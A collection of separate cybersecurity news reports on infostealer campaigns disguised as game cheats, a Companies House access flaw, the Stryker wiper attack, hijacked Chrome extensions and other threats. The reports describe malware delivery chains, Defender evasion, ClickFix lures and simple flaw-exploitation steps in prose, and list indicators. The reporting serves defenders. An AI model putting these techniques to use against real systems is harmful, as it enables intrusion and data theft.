Hundreds of GitHub repositories seemingly offering “free game cheats” deliver malware, including the Vidar infostealer, Acronis Threat Research Unit (TRU) has found. While the identified malicious repositories already target “virtually every major online game title,” the security researchers estimate the true number “could be in the thousands”, they warned in a report published on March 17. They also found Reddit posts mentioning and promoting a game cheat for Counter-Strike 2 leading to a fake website that encourages the user to download and install Vidar 2.0. The campaigns delivering the infostealer start, like most typical cheat campaigns, in Discord chat rooms or Reddit communities dedicated to cheating in specific online games, said Acronis TRU. “In their simplest form, campaigns take the shape of an offer for a ‘free’ cheating tool,” the researchers wrote. The targeted users become “the perfect victims” as they are willingly looking for software that operates outside legitimate channels. Therefore, they expect the software to behave in ways that might trigger security warnings and they have strong incentive not to report any suspicious activity to authorities. Moreover, the researchers noted that cheats typically require deep system access, making it easier for malicious actors to lure users into installing malware that bypasses traditional defenses. GitHub Repository Distribution Chain Several fake GitHub repositories identified by the researchers distribute the Vidar 2.0 infostealer variant masking as game cheats or hardware ID ban bypass software. In this campaign, it lures the victim to download the software named TempSpoofer.exe, Monotone.exe or CFXBypass.exe. These first-stage payloads, disguised as game cheats, are PowerShell scripts compiled into .NET executables using PS2EXE, allowing them to bypass basic script-based detections while appearing as legitimate applications. The PowerShell loader then executes a multi-stage infection process: Defender evasion: adds an exclusion to Windows Defender for an attacker-controlled directory, preventing scanning of subsequent malicious payloads Command-and-control (C2) communication: retrieves a secondary payload URL from a hard-coded Pastebin link, which points to a GitHub-hosted executable Payload delivery: creates a hidden directory in %AppData%, adds it to Defender’s exclusion list, and downloads background.exe (a Themida-packed Vidar Stealer 2.0). Execution and privilege escalation: verifies the file’s integrity (MZ header check), hides it from the user, and attempts to elevate privileges via runas Persistence: establishes a scheduled task (SystemBackgroundUpdate) to run at logon with elevated privileges The Vidar Stealer 2.0 payload then: Creates a directory in %ProgramData% to store stolen data Exfiltrates data to C2 servers masked via Telegram and Steam dead-drop resolvers (e.g., hxxps://telegram[.]me/bul33bt, hxxps://steamcommunity[.]com/profiles/76561198765046918) Reddit Distribution Chain In another campaign, attackers spread Vidar 2.0 through Reddit posts advertizing fake Counter-Strike 2 game cheats, redirecting victims to a malicious website that delivers EzFrags_Private.zip. The archive contains a self-extracting (SFX) executable with an invalid digital signature, raising suspicion. Upon execution, the loader extracts an embedded cabinet archive and runs a command to process Perfume.mdb, a script obfuscated with randomized variable names to hinder analysis. The script then creates a directory (123043) and assembles Typically.com, a compiled AutoIt interpreter, by stitching together file fragments. It then builds the Vidar 2.0 payload from multiple .mdb files and executes it via AutoIt. The final payload connects to the same C2 infrastructure seen in prior campaigns, suggesting the same threat actor or group is behind both operations. Vidar 2.0: A Stealthier, More Powerful Infostealer The real novelty in the campaigns detected by Acronis TRU is the delivery of Vidar 2.0. Vidar is an infostealer capable of extracting browser credentials, cookies and autofill data, as well as Azure tokens, cryptocurrency wallets, FTP/SSH credentials, Telegram, Discord and local files. According to the researchers, Vidar 2.0 represents a significant technical evolution from the first version of the infostealer, with enhanced capabilities including: Polymorphic builds and multithreaded execution that improve speed and evade static detection Advanced obfuscation, debugger detection, timing checks and virtual machine detection that hinder analysis C2 infrastructure hidden via Telegram bots and Steam profiles as dead drop resolvers “Taken together, these capabilities make Vidar 2.0 a powerful and stealthy threat, often completing its mission before victims are aware anything is wrong, and well before stolen data can be recovered or invalidated,” the researchers highlighted. The latest version of the Vidar Sealer has risen in adoption after law enforcement actions against two of the most prominent infostealers, Lumma and Rhadamanthys. “This demonstrates how enforcement action reshapes the threat landscape: criminal demand simply migrates, and defenders must remain vigilant and informed,” the researchers concluded.

A critical vulnerability has been found in a web application of Companies House, the government agency responsible for maintaining the public register of companies in the United Kingdom. According to Tax Policy Associates, the security hole was discovered by John Hewitt of Ghost Mail on March 12, but it existed for several months before a patch was rolled out. Hewitt found that any logged-in user could access other companies’ accounts on the Companies House platform. The attacker could have gained access to the non-public information of five million registered firms, including directors’ dates of birth, home addresses and email addresses. In addition, an attacker could have changed a company’s details and could have submitted unauthorized filings. While the vulnerability could only be exploited by an authenticated attacker, conducting an attack would have been easy and required no technical skills. An attacker only needed to select the ‘file for another company’ option, enter the unique number associated with the targeted company and, when prompted for an authentication code, press the back button a few times. The attacker would then automatically be logged in to the targeted company’s account. In a statement issued on Monday, Companies House confirmed the security hole, saying it affected its WebFiling service. The flaw was introduced in October 2025 and it was addressed over the weekend after the service was shut down on Friday. “This was not accessible to the general public. Only users with an authorised code and logged in to the service could have performed this action,” the organization said. Companies House clarified that the vulnerability did not expose passwords and information collected during the identity verification process (such as passports). In addition, an attacker could not have made changes to existing filed documents. “We believe that this issue could not have been used to extract data in large volumes or to access records systematically. Any access would have been limited to individual company records, viewed one at a time by a registered WebFiling user,” the agency clarified. Companies House also noted that while it’s not aware of any instances of data being accessed or changed through the exploitation of this vulnerability, companies should verify their details and filing history and report any concerns. Related: UK Government Unveils New Cyber Action Plan Related: UK Government Acknowledges It Is Investigating Cyber Incident After Media Reports Related: Reddit Hit With $20 Million UK Data Privacy Fine Over Child Safety Failings

OpenAI told BleepingComputer that ChatGPT ads are not yet rolling out outside the US, even though some users noticed references to ads in the updated privacy policy. On Reddit, some users pointed out that the updated privacy policy mentions ads, which led to speculation that ChatGPT ads were expanding globally, even for users outside the US. However, the mention in the privacy policy does not mean ads are rolling out more widely. OpenAI confirmed that ads are currently limited to the United States and said it has nothing new to share about a global rollout. OpenAI rolled out ads in ChatGPT in the US on February 9, 2026, and has been gradually expanding access there. Unlike Google ads, ChatGPT ads are more personalized and could influence buying decisions, which raises additional concerns. In fact, OpenAI admits that it's taking a deliberate, phased approach to learn from real-world use before expanding globally. OpenAI promsies ChatGPT ads respect your privacy, and appear below answers only ChatGPT ads appear below the answers, and they are shown only to logged-in users on Free and Go plans in the US. You will also not see ads if you are under 18 (based on your behavior), or even if you request ChatGPT to show ads. OpenAI argues that ads do not influence the answers, but it is not denying the fact that ads are indeed personalized around your queries. "Ads run on separate systems from our chat model, and advertisers have no ability to shape, rank, or alter ChatGPT’s responses," OpenAI noted in a document. "Ads are separate and clearly labeled. Ads are paid placements, and seeing an ad doesn’t mean OpenAI endorses or recommends the advertiser or its products or services." OpenAI does not share your conversations with ChatGPT with advertisers, which means advertisers do not have access to your chats, chat history, memories, or personal details. OpenAI had nothing to offer when we asked when ads would roll out more widely. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Microsoft is investigating a new issue affecting some Samsung laptops running Windows 11 after installing the February 2026 security updates, in which users lose access to their C:\ drive and are unable to launch applications. The company says it is working with Samsung to determine whether the problem is related to the Windows updates or Samsung software installed on affected devices. "Users might encounter the error, 'C:\ is not accessible – Access denied', which prevents access to files and blocks the launch of some applications including Outlook, Office apps, web browsers, system utilities and Quick Assist," explains Microsoft. Microsoft says these errors can appear during normal Windows usage on a Samsung device, such as when accessing files, launching applications, or performing administrative tasks. In some cases, the permission problems can prevent users from elevating privileges, uninstalling updates, or accessing logs. The problem has been reported mostly in Brazil, Portugal, South Korea, and India, and is primarily impacting Samsung Galaxy Book 4 and other Samsung consumer devices. Microsoft says its latest investigation suggests the issue may be related to the Samsung Share application, though the exact root cause has not yet been confirmed. At this time, the issue only impacts systems running Windows 11 version 25H2 and 24H2. While Microsoft has not shared a temporary solution, a Reddit user claiming to be a Samsung technician in Brazil has posted a workaround that some affected users say restores access to the C:\ drive. However, the workaround requires changing the ownership of the entire C:\ drive and all subfolders to the "Everyone" group, including system directories and files that are normally owned by TrustedInstaller or SYSTEM. Changing ownership of system files in this way weakens Windows' built-in security protections. Therefore, users should avoid applying the workaround unless absolutely necessary and instead wait for a fix from Microsoft. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Medical device giant Stryker confirms cyberattack as employees say devices were wiped The medical device manufacturer Stryker confirmed reports Wednesday that a cyberattack has disrupted operations. The Michigan-based company released a statement saying it is “experiencing a global network disruption” to its Microsoft environment as a result of a cyberattack. “We have no indication of ransomware or malware and believe the incident is contained. Our teams are working rapidly to understand the impact of the attack on our systems,” the company said in a social media message. “Stryker has business continuity measures in place to continue to support our customers and partners.” On Wednesday, the company’s phone systems were responding to calls with an automated message claiming they are dealing with a “building emergency.” The company’s statement comes after dozens of Stryker employees took to social media to complain that their corporate computers and phones had been completely wiped. On Facebook, Reddit and X, employees said none of their company devices were working. Several said the incident began early on Wednesday morning, with multiple company servers wiped clean and almost all work apps taken down. Several employees told Recorded Future News that they could no longer access corporate email systems and were completely cut off from several other work platforms. Two employees said when they tried to log in they saw the logo of the Handala hacking group. A group going by that name purportedly released a statement online taking credit for the attack on Stryker, claiming they targeted the company because of a recent U.S. missile strike on a girl’s school in Iran and the ongoing military conflict between the U.S., Israel and Iran. Handala allegedly put their logo on every login page and sent emails to executives taking credit for the incident. The group, which cybersecurity experts previously tied to other Iran-based threat actors, claimed it wiped more than 200,000 “systems, servers and mobile devices” while also stealing 50 terabytes of company data. Since 2023, Handala has repeatedly targeted companies and government systems in Israel. Cybersecurity experts previously described Handala as a sophisticated group, noting that one of its most common tactics was the deployment of wiper malware designed to destroy all of the files on a device. Handala took credit for a phishing campaign last year involving the impersonation of the cybersecurity firm CrowdStrike and attempts to install wiper malware on Israeli networks. In a statement at the time, the hackers claimed to have launched other attacks, including targeting Israeli Iron Dome radars. Last year, the group targeted the Israeli Ministry of National Security and sent fake missile alerts to Israeli schools and kindergartens through smartphones via SMS before wiping the system after sending the alerts. Stryker is one of the biggest medical device manufacturers in the world, reporting more than $25 billion in earnings last year. It purchased Israeli medical tech company OrthoSpace in 2019. Stryker also has signed large contracts with the U.S. Department of Defense and other U.S. agencies. Stryker did not respond to requests for comment about Handala’s role in the attack. Several employees said the company has been brought to a standstill as a result of the attack. The incident first emerged in Ireland when news outlets reported that employees at large factories in the country were cut off from corporate access or sent home because they could not work. Some employees who had linked their personal phones to corporate systems also reported losing access to much of their data. Jonathan Greig is a Breaking News Reporter at Recorded Future News. Jonathan has worked across the globe as a journalist since 2014. Before moving back to New York City, he worked for news outlets in South Africa, Jordan and Cambodia. He previously covered cybersecurity at ZDNet and TechRepublic.

A hacktivist group with links to Iran’s intelligence agencies is claiming responsibility for a data-wiping attack against Stryker, a global medical technology company based in Michigan. News reports out of Ireland, Stryker’s largest hub outside of the United States, said the company sent home more than 5,000 workers there today. Meanwhile, a voicemail message at Stryker’s main U.S. headquarters says the company is currently experiencing a building emergency. Based in Kalamazoo, Michigan, Stryker [NYSE:SYK] is a medical and surgical equipment maker that reported $25 billion in global sales last year. In a lengthy statement posted to Telegram, a hacktivist group known as Handala (a.k.a. Handala Hack Team) claimed that Stryker’s offices in 79 countries have been forced to shut down after the group erased data from more than 200,000 systems, servers and mobile devices. “All the acquired data is now in the hands of the free people of the world, ready to be used for the true advancement of humanity and the exposure of injustice and corruption,” a portion of the Handala statement reads. The group said the wiper attack was in retaliation for a Feb. 28 missile strike that hit an Iranian school and killed at least 175 people, most of them children. The New York Times reports today that an ongoing military investigation has determined the United States is responsible for the deadly Tomahawk missile strike. Handala was one of several hacker groups recently profiled by Palo Alto Networks, which links it to Iran’s Ministry of Intelligence and Security (MOIS). Palo Alto says Handala surfaced in late 2023 and is assessed as one of several online personas maintained by Void Manticore, a MOIS-affiliated actor. Stryker’s website says the company has 56,000 employees in 61 countries. A phone call placed Wednesday morning to the media line at Stryker’s Michigan headquarters sent this author to a voicemail message that stated, “We are currently experiencing a building emergency. Please try your call again later.” A report Wednesday morning from the Irish Examiner said Stryker staff are now communicating via WhatsApp for any updates on when they can return to work. The story quoted an unnamed employee saying anything connected to the network is down, and that “anyone with Microsoft Outlook on their personal phones had their devices wiped.” “Multiple sources have said that systems in the Cork headquarters have been ‘shut down’ and that Stryker devices held by employees have been wiped out,” the Examiner reported. “The login pages coming up on these devices have been defaced with the Handala logo.” Wiper attacks usually involve malicious software designed to overwrite any existing data on infected devices. But a trusted source with knowledge of the attack who spoke on condition of anonymity told KrebsOnSecurity the perpetrators in this case appear to have used a Microsoft service called Microsoft Intune to issue a ‘remote wipe’ command against all connected devices. Intune is a cloud-based solution built for IT teams to enforce security and data compliance policies, and it provides a single, web-based administrative console to monitor and control devices regardless of location. The Intune connection is supported by this Reddit discussion on the Stryker outage, where several users who claimed to be Stryker employees said they were told to uninstall Intune urgently. Palo Alto says Handala’s hack-and-leak activity is primarily focused on Israel, with occasional targeting outside that scope when it serves a specific agenda. The security firm said Handala also has taken credit for recent attacks against fuel systems in Jordan and an Israeli energy exploration company. “Recent observed activities are opportunistic and ‘quick and dirty,’ with a noticeable focus on supply-chain footholds (e.g., IT/service providers) to reach downstream victims, followed by ‘proof’ posts to amplify credibility and intimidate targets,” Palo Alto researchers wrote. The Handala manifesto posted to Telegram referred to Stryker as a “Zionist-rooted corporation,” which may be a reference to the company’s 2019 acquisition of the Israeli company OrthoSpace. Stryker is a major supplier of medical devices, and the ongoing attack is already affecting healthcare providers. One healthcare professional at a major university medical system in the United States told KrebsOnSecurity they are currently unable to order surgical supplies that they normally source through Stryker. “This is a real-world supply chain attack,” the expert said, who asked to remain anonymous because they were not authorized to speak to the press. “Pretty much every hospital in the U.S. that performs surgeries uses their supplies.” John Riggi, national advisor for the American Hospital Association (AHA), said the AHA is not aware of any supply-chain disruptions as of yet. “We are aware of reports of the cyber attack against Stryker and are actively exchanging information with the hospital field and the federal government to understand the nature of the threat and assess any impact to hospital operations,” Riggi said in an email. “As of this time, we are not aware of any direct impacts or disruptions to U.S. hospitals as a result of this attack. That may change as hospitals evaluate services, technology and supply chain related to Stryker and if the duration of the attack extends.” According to a March 11 memo from the state of Maryland’s Institute for Emergency Medical Services Systems, Stryker indicated that some of their computer systems have been impacted by a “global network disruption.” The memo indicates that in response to the attack, a number of hospitals have opted to disconnect from Stryker’s various online services, including LifeNet, which allows paramedics to transmit EKGs to emergency physicians so that heart attack patients can expedite their treatment when they arrive at the hospital. “As a precaution, some hospitals have temporarily suspended their connection to Stryker systems, including LIFENET, while others have maintained the connection,” wrote Timothy Chizmar, the state’s EMS medical director. “The Maryland Medical Protocols for EMS requires ECG transmission for patients with acute coronary syndrome (or STEMI). However, if you are unable to transmit a 12 Lead ECG to a receiving hospital, you should initiate radio consultation and describe the findings on the ECG.” This is a developing story. Updates will be noted with a timestamp. Update, 2:54 p.m. ET: Added comment from Riggi and perspectives on this attack’s potential to turn into a supply-chain problem for the healthcare system. Update, Mar. 12, 7:59 a.m. ET: Added information about the outage affecting Stryker’s online services.

Your Google Search history provides one of the most detailed windows into your private life, and I know this because when I looked at my own search history last year, I was overwhelmed by the information buried within. Across just 18 months, Google tracked the 8,079 searches I made and the 3,050 websites I visited because of those searches. That included my late-night perusal of WebMD because of medical symptoms I’d looked up just seconds before, my tour of Goodwill donation sites as I searched for where to drop off clothes ahead of an upcoming move, and my ironically tracked visit to a Reddit thread titled “How do I delete most, if not all, of my info off of the Internet?” (One answer I learned: Don’t use Google Search.) Google tracked my every question, concern, and flight of fancy—almost literally. On just one day in August 2025, Google recorded the seven flight searches I made on Google Flights and the six hotel searches I made on Google Travel. Google also recorded the many questions and requests I made when researching topics for the Lock and Code podcast, which I host. And while all of that Google data made for an interesting investigation into what Google knows about me (which you can listen to below), it also made it clear that more people should know how to access this same information. For most Google users, if Web & App Activity is turned on, Google is saving what they look up, what time they looked it up, and what websites they clicked on as a result. There are ways to turn that data tracking off, but the first step is to know where to look. Here’s how to do that. How to find your Google Search history You can start by opening your web browser and signing into Google’s centralized hub for your data online at myactivity.google.com. Once logged in, you’ll see the above welcome screen with quick settings that you can change, if you want to. Those settings are different for some users, but may include: Web & App Activity Timeline Play History YouTube History Further down on the page, you can browse through your Google Search history. (Our screenshot gallery below can help walk you through the steps.) First, look for the search bar in the welcome screen that says Search your activity. Right below, you will find the words Filter by date & product. These words are clickable. Click them. Once you’ve clicked Filter by date & product, you’ll see a pop-up menu where you can look through your Google activity by date or product. Instead of focusing on the date, scroll down through the list of Google products and check the box for Google Search. Press Apply. After you press Apply, you’ll be taken to a webpage that lists your Google Search history in reverse chronological order, showing you your most recent activity first. As you scroll down, you can find older activity. You can also use the search bar at the top of the page to look for individual pieces of activity, like a search or series of searches that you previously made. From here, you can also delete individual Google Search entries so that Google no longer stores that data. This will only apply to the individual search you made. If you want to better protect your privacy, making targeted deletions from your Google Search history is a difficult, lengthy, and imperfect method. Instead, you can simply tell Google to stop recording any of your searches from now on. How to turn off Google Search history There’s a simple way to instruct Google to stop saving your online searches to your Google Account, and it takes just a few clicks. Follow the instructions below, along with the image gallery, for guidance. Go to your My Google Activity homepage (this is the same page you saw when first signing into myactivity.google.com) Click on that quick control button we saw earlier: Web & App Activity From here, you will see a new screen with the title Activity Controls Find the button that says Turn off and click it Choose between Turn off and Turn off and delete activity If you selected Turn off, you’re done. Google will no longer save your Google Searches as part of your overall Google profile activity. This option means that Google still has your prior searches recorded, though. So, if you want, you can choose the second option, Turn off and delete activity. When you select that option, Google will walk you through additional steps to choose what types of data you want erased, such as past activity tied to Google Search, Maps, Ads, Image Search, Google Play Store, Help and other services. All of these options reveal just how many products and pipelines Google has built to vacuum up your data. Don’t be overwhelmed, though. Go through the list at your own pace and start making decisions about your data that are right for you. Your name, address, and phone number may already be for sale. Data brokers collect and sell your personal details to anyone willing to pay. Malwarebytes Personal Data Remover finds them and gets your information removed, then keeps watch so it stays that way.

Two Google Chrome extensions have turned malicious after what appears to be a case of ownership transfer, offering attackers a way to push malware to downstream customers, inject arbitrary code, and harvest sensitive data. The extensions in question, both originally associated with a developer named "[email protected]" (BuildMelon), are listed below - QuickLens - Search Screen with Google Lens (ID: kdenlnncndfnhkognokgfpabgkgehodd) - 7,000 users ShotBird - Scrolling Screenshots, Tweet Images & Editor (ID: gengfhhkjekmlejbhmmopegofnoifnjp) - 800 users While QuickLens is no longer available for download from the Chrome Web Store, ShotBird remains accessible as of writing. ShotBird was originally launched in November 2024, with its developer, Akshay Anu S (@AkshayAnuOnline), claiming on X that the extension is suitable for "creating professional, studio-like visuals," and that all processing happens locally. According to research published by monxresearch-sec, the browser add-on received a "Featured" flag in January 2025, before it was passed on to a different developer ("[email protected]") sometime last month. In a similar vein, QuickLens was listed for sale on ExtensionHub on October 11, 2025, by "[email protected]" merely two days after it was published, Annex Security's John Tuckner said. On February 1, 2026, the extension's owner changed to "[email protected]" on the Chrome Web Store listing page. The malicious update introduced to QuickLens on February 17, 2026, kept the original functionality but introduced capacities to strip security headers (e.g., X-Frame-Options) from every HTTP response, allowing malicious scripts injected into a web page to make arbitrary requests to other domains, bypassing Content Security Policy (CSP) protections. In addition, the extension contained code to fingerprint the user's country, detect the browser and operating system, and polls an external server every five minutes to receive JavaScript, which is stored in the browser's local storage and executed on every page load by adding a hidden 1×1 GIF element and setting the JavaScript string as its "onload" attribute. This, in turn, causes the malicious code to be executed once the image is loaded. "The actual malicious code never appears in the extension's source files," Tuckner explained. "Static analysis shows a function that creates image elements. That's it. The payloads are delivered from the C2 and stored in local storage -- they only exist at runtime." A similar analysis of the ShotBird extension by monxresearch-sec has uncovered the use of direct callbacks to deliver JavaScript code instead of creating a 1x1 pixel image to trigger the execution. The JavaScript is engineered to display a bogus Google Chrome browser update prompt, clicking which users are served a ClickFix-style page to open the Windows Run dialog, launch "cmd.exe," and paste a PowerShell command, resulting in the download of an executable named "googleupdate.exe" on Windows hosts. The malware then proceeds to hook input, textarea, select HTML elements, and capture any data entered by the victim. This could include credentials, PIN, card details, tokens, and government identifiers. It's also equipped to siphon data stored in the Chrome web browser, such as passwords, browsing history, and extension-related information. "This is a two-stage abuse chain: extension-side remote browser control plus host-level execution pivot via fake updates," the researcher said. "The result is high-risk data exposure in-browser and confirmed host-side script execution on at least one affected system. In practical terms, this elevates the impact from browser-only abuse to likely credential theft and broader endpoint compromise." It's assessed that the same threat actor is behind the compromise of the two extensions and is operating them in parallel, given the use of an identical command-and-control (C2) architecture pattern, ClickFix lures injected into the browsing context, and ownership transfer as an infection vector. Interestingly, the original extension developer has published several other extensions under their name on the Chrome Web Store, and all of them have received a Featured badge. The developer also has an account on ExtensionHub, although no extensions are currently listed for sale. What's more, the individual has attempted to sell domains like "AIInfraStack[.]com" for $2,500, stating the "strong keyword domain" is "relevant for [sic] rapidly growing AI ecosystem." "This is the extension supply chain problem in a nutshell," Annex Security said. "A 'Featured,' reviewed, functional extension changes hands, and the new owner pushes a weaponized update to every existing user." The disclosure comes as Microsoft warned of the malicious Chromium‑based browser extensions that masquerade as legitimate AI assistant tools to harvest LLM chat histories and browsing data. "At scale, this activity turns a seemingly trusted productivity extension into a persistent data collection mechanism embedded in everyday enterprise browser usage, highlighting the growing risk browser extensions pose in corporate environments," the Microsoft Defender Security Research Team said. In recent weeks, threat hunters have also flagged a malicious Chrome extension named lmΤoken Chromophore (ID: bbhaganppipihlhjgaaeeeefbaoihcgi) that impersonates imToken while advertising itself as a hex color visualizer in the Chrome Web Store to steal cryptocurrency seed phrases using phishing redirects. "Instead of providing the harmless tool it promises, the extension automatically opens a threat actor-controlled phishing site as soon as it is installed, and again whenever the user clicks it," Socket researcher Kirill Boychenko said. "On install, the extension fetches a destination URL from a hardcoded JSONKeeper endpoint (jsonkeeper[.]com/b/KUWNE) and opens a tab pointing to a lookalike Chrome Web Store-style domain, chroomewedbstorre-detail-extension[.]com. The landing page impersonates imToken using mixed-script homoglyphs and funnels victims into credential-capture flows that request either a 12 or 24-word seed phrase or a private key." Other malicious extensions flagged by Palo Alto Networks Networks Unit 42 have been found to engage in affiliate hijacking and data exfiltration, with one of them – Chrome MCP Server - AI Browser Control (ID: fpeabamapgecnidibdmjoepaiehokgda) – serving as a full-fledged remote access trojan while masquerading as an AI automation tool using the Model Context Protocol (MCP). Unit 42 researchers have also revealed that three popular Chrome extensions – Urban VPN Proxy, Urban Browser Guard, and Urban Ad Blocker – are again available on the Chrome Web Store after previously being removed for scraping AI conversations from various chatbots, including OpenAI ChatGPT, Anthropic Claude, Microsoft Copilot, DeepSeek, Google Gemini, xAI Grok, Meta AI, and Perplexity. "Following the public disclosure of the campaign on December 15, 2025, the developer updated benign versions in January 2026, likely in response to the report," researchers Qinge Xie, Nabeel Mohamed, Shresta Bellary Seetharam, Fang Liu, Billy Melicher, and Alex Starov said. Furthermore, the cybersecurity company identified an extension called Palette Creator (ID: iofmialeiddolmdlkbheakaefefkjokp), which has over 100,000 users and whose previous version communicated with known network indicators associated with a campaign dubbed RedDirection to carry out browser hijacking. That's not all. A new campaign comprising over 30,000 domains has been found to initiate a redirect chain to route traffic to a landing page ("ansiblealgorithm[.]com") that's used for distributing a Chrome extension called OmniBar AI Chat and Search (ID: ajfanjhcdgaohcbphpaceglgpgaaohod). The extension makes use of the chrome_settings_overrides API to alter Chrome settings and set the browser home page to omnibar[.]ai, as well as make the default search provider to a custom URL: "go.omnibar[.]ai/?api=omni&sub1=omnibar.ai&q={searchTerms}" and track queries via an API parameter. It's believed that the end goal is to perform browser-hijacking as part of what seems to be a large-scale affiliate marketing scheme, Unit 42 said, adding it identified two other extensions that exhibit the same browser-hijacking behavior consistent with OmniBar via home page override and search interception - AI Output Algo Tool (ID: eeoonfhmbjlmienmmbgapfloddpmoalh) Serpey.com official extension (ID: hokdpdlchkgcenfpiibjjfkfmleoknkp) A deeper investigation of three more extensions published by the same developer ("[email protected]" aka Status 77) has uncovered that two of them track user browsing activity to inject affiliate markers, while a third one extracts and transmits user Reddit comment threads to a developer-controlled API endpoint - Care.Sale (ID: jaioobipjdejpeckgojiojjahmkiaihp) Giant Coupons Official Extension (ID: akdajpomgjgldidenledjjiemgkjcchc) Consensus - Reddit Comment Summarizer (ID: mkkfklcadlnkhgapjeejemflhamcdjld) Users who have installed any of the aforementioned extensions are advised to remove them from their browsers with immediate effect, avoid side-loading or installing unverified productivity extensions, and audit browsers for any unknown extensions and uninstall them.

Some weeks in cybersecurity feel routine. This one doesn’t. Several new developments surfaced over the past few days, showing how quickly the threat landscape keeps shifting. Researchers uncovered fresh activity, security teams shared new findings, and a few unexpected moves from major tech companies also drew attention. Together, these updates offer a useful snapshot of what is happening behind the scenes in the cyber world right now. From new tactics and campaigns to security and policy changes that could affect millions of users, there is a lot unfolding at once. Below is a quick roundup of the most notable stories making headlines this week. Phishing Campaign Deploys Multiple Malware StrainsThe Computer Emergency Response Team of Ukraine (CERT-UA) has warned of a hacking campaign targeting Ukrainian government institutions using phishing emails containing a ZIP archive (or a link to a website vulnerable to cross-site scripting attacks) to distribute SHADOWSNIFF and SALATSTEALER information-stealing malware and a Go backdoor called DEAFTICKK. The agency attributed the activity to a threat actor tracked as UAC-0252. The development comes as a suspected Russian espionage campaign is targeting Ukraine with two previously undocumented malware strains, BadPaw and MeowMeow, according to ClearSky. While the campaign is likely said to be the work of APT28, the cybersecurity company did not identify the targets of the campaign or say whether the attacks were successful. Fake RMM Service Spreads RAT via PhishingA new malware-as-a-service (MaaS) dubbed TrustConnect ("trustconnectsoftware[.]com") masqueraded as a legitimate remote monitoring and management (RMM) tool for $300 per month. It's assessed that the threat actor behind TrustConnect was also a prominent user of RedLine Stealer. According to email security firm Proofpoint, multiple threat actors have been observed distributing the malware via phishing emails as of January 27, 2026. The emails claim to be event invites or bid proposals, tricking recipients into clicking on links that lead to the download of bogus executables that install TrustConnect RAT. The RAT backdoors users' machines and gives attackers full mouse and keyboard control, allowing them to record and stream the victim's screen. Some campaigns have also been observed delivering legitimate remote access software like ScreenConnect and LogMeIn Resolve alongside TrustConnect between January 31 and February 3, 2026. Customers who purchase the toolkit are granted access to a dashboard to remotely commandeer infected devices and generate branded installers containing the malware. After Proofpoint took steps to disrupt some of the malware's infrastructure on February 17, 2026, the threat actor resurfaced with a rebranded version of the malware platform called DocConnect. "Disruptions to MaaS operations like RedLine, Lumma Stealer, and Rhadamanthys have created new opportunities for malware creators to fill gaps in the cybercrime market," Proofpoint said. "Although TrustConnect only masqueraded as a legitimate RMM, the lures, attack chains, and follow-on payloads (which include RMMs) show overlap with techniques and delivery methods that are frequently observed in RMM campaigns and used by multiple threat actors." The development comes amid skyrocketing abuse of legitimate RMM software in cyber attacks. Chrome Moves to Two-Week Release CycleGoogle has announced that new Chrome iterations will be released every two weeks, moving away from the current four-week release cycle. Since 2021, Google has been shipping major Chrome versions every four weeks, and since 2023, it has been delivering security updates every week for a reduced patch gap and improved quality. "The web platform is constantly advancing, and our goal is to ensure developers and users have immediate access to the latest performance improvements, fixes, and new capabilities," Google said. The new release cycle will also apply to beta releases, starting with Chrome 153, which will arrive on September 8, 2026. TPMS Signals Allow Covert Vehicle TrackingResearchers at IMDEA Networks Institute have found that Tire Pressure Monitoring System (TPMS) sensors inside each car wheel broadcast unencrypted wireless signals containing persistent identifiers. While the feature is designed for vehicle safety, each sensor transmits a unique ID that does not change, allowing the same car to be recognized again and tracked over time. This, in turn, opens the door to a low-cost monitoring network that uses software-defined radio receivers near roads (at a distance of up to 40m from the car) and parking areas to collect TPMS messages from thousands of vehicles and build profiles of their movements over time. "Malicious users could deploy passive receivers on large scales and track citizens without their knowledge. The advantage of such a system, over more traditional camera-based ones, is that no direct line-of-sight is needed with the TPMS sensors, and spectrum receivers could be placed in covert or hidden locations, making them harder to spot by victims," the researchers warned. "Our results show that TPMS transmissions can be used to systematically infer potentially sensitive information such as the presence, type, weight, or driving pattern of the driver." The disclosure adds to a growing body of research demonstrating how various components fitted into modern vehicles can become unintended conduits for surveillance and exploits. Telegram Emerges as Cybercrime Command HubA new analysis from CYFIRMA has pointed out how Telegram's structure offers threat actors a way to extend their reach globally without the need for specialized tooling, enable frictionless onboarding of buyers and affiliates, support payment options, and facilitate audience growth. The emergence of the platform has fundamentally changed the way cyber operations are coordinated, monetized, and publicized. "For financially motivated actors, Telegram functions as a scalable storefront and customer support hub," the company said. "For hacktivists, it serves as a mobilization and propaganda amplifier. For state-aligned operations, it offers a rapid distribution channel for narratives and leaks. In many cases, telegram complements and increasingly replaces traditional Tor-based ecosystems by removing technical friction while maintaining operational flexibility." AuraStealer Infrastructure RevealedA new analysis of AuraStealer from Intrinsec has uncovered 48 command-and-control (C2) domain names linked to the stealer's operations. The threat actor behind the malware has been found to use .shop and .cfd top-level domains, in addition to routing all traffic through Cloudflare as a reverse proxy to conceal the real server. AuraStealer first appeared on underground hacker forums in July 2025, shortly after the disruption of the Lumma Stealer as part of a law enforcement operation. It was advertised by a user named AuraCorp on the XSS forum. It comes in two subscription packages: $295/month for Basic and $585/month for Advanced. One of the primary mechanisms through which the stealer is distributed is ClickFix. Malvertising Pushes New Atomic Stealer VariantA malvertising campaign is using bogus ads on Google Search results pages to redirect users looking for ways to free up macOS storage to fraudulent web pages hosted on Medium, Evernote, and Kimi AI to serve ClickFix-style instructions that drop a new variant of the Atomic Stealer called malext to steal a wide range of data from compromised macOS systems. The campaign uses more than 50 compromised Google Ads accounts that push "over 485 malicious landing pages, ultimately leading to a ClickFix attack that deployed a potentially new version of AMOS Stealer onto infected systems," security researcher Gi7w0rm said. Bots Hammer DRAM Pages for DDR5 InventoryA large-scale data gathering operation has submitted more than 10 million web scraping requests to hit DRAM product pages on e-commerce sites in an effort to find sellers carrying desirable DRAM stock. The bots have been found to check the stock of specific RAM kits every 6.5 seconds by using a technique called cache busting to ensure they get the most up-to-date information, DataDome said. "These bots aggressively target the entire supply chain, from consumer RAM to B2B industrial memory providers and raw hardware components like DIMM sockets," the company said. "Scrapers attempt to avoid detection by adding cache-busting parameters to every request and calibrating their speed to stay just below volumetric alarm thresholds. By rapidly snapping up the limited DDR5 memory inventory for profitable resale, these bots further deplete the consumer supply, effectively boxing out legitimate customers and driving market prices even higher." 